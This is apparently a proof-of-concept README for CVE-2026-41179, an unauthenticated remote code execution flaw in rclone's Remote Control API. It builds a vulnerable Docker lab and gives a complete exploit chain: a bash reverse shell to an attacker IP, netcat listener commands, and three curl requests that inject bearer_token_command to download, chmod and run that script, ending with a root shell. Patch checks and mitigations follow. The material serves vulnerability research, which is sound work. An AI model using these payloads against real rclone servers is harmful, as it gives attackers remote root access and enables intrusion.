
POC for CVE-2026-41179
⚠️ EDUCATIONAL PURPOSES ONLY This repository is intended strictly for security research, education, and authorized lab environments. PSSec and the contributors of this repository do not condone, support, or take any responsibility for any unauthorized, illegal, or malicious use of the information, code, or techniques contained herein. By using this repository you agree that you are solely responsible for your actions and that you will only test against systems you own or have explicit written permission to test.
CVE-2026-41179 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in rclone's built-in Remote Control (RC) API, affecting versions 1.48.0 through 1.73.4.
| Detail | Value |
|---|---|
| CVE | CVE-2026-41179 |
| CVSS Score | 9.8 (Critical) |
| Affected Versions | rclone 1.48.0 – 1.73.4 |
| Patched Version | rclone 1.73.5 |
| Component | RC API (/operations/fsinfo endpoint) |
| Attack Vector | Network — no authentication required |
rclone ships with a built-in HTTP remote control interface (rcd). The /operations/fsinfo endpoint accepts a user-supplied fs= string that is parsed and used to instantiate a backend — including the WebDAV backend. The WebDAV backend supports a bearer_token_command parameter, which is passed directly to exec.Command() without sanitization. Because no authentication is required on this endpoint by default, an unauthenticated attacker can trigger arbitrary OS command execution as the rclone process user.
Attack chain in brief:
POST /operations/fsinfo (no auth)
→ rc.GetFs() parses attacker-controlled fs= string
→ WebDAV backend instantiated with attacker params
→ bearer_token_command extracted
→ exec.Command() fires OS command
→ RCE as rclone process user
CVE-2026-41179/
├── Dockerfile.rclone # Vulnerable rclone image (v1.69.3)
├── patched.Dockerfile.rclone # Patched rclone image (v1.73.5)
├── poc.sh # Reverse shell payload
└── instructions # Step-by-step lab walkthrough
netcatdocker build -t rclone-vuln -f Dockerfile.rclone .
Builds a Debian-slim container running rclone v1.69.3 with the RC API exposed on port 5572.
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
The RC API is now accessible unauthenticated at http://127.0.0.1:5572.
penelope -p 5555
# OR
nc -lvnp 5555
Edit poc.sh and set your attacker IP and listening port:
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1
Run this from the same directory as poc.sh:
python3 -m http.server 8888
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'
Check your listener — you should receive a root shell from the container:
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root
Repeat Steps 1–8 using the patched image to confirm the vulnerability is fixed:
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched
Send the same curl request against port 5573 — the command should not execute.
rcd with --rc-user and --rc-pass flags to require credentials.5572) via firewall rules — it should never be exposed to untrusted networks.--rc-no-auth=false (the new default in patched versions) explicitly in startup scripts.This repository is provided for educational and authorized security research purposes only. The proof-of-concept code demonstrates a real vulnerability in a controlled Docker lab environment.
PSSec and all contributors:
Unauthorized use of this code against production systems or systems you do not own may violate computer fraud and cybercrime laws in your jurisdiction.
CVE-2026-41179 — Research by PSSec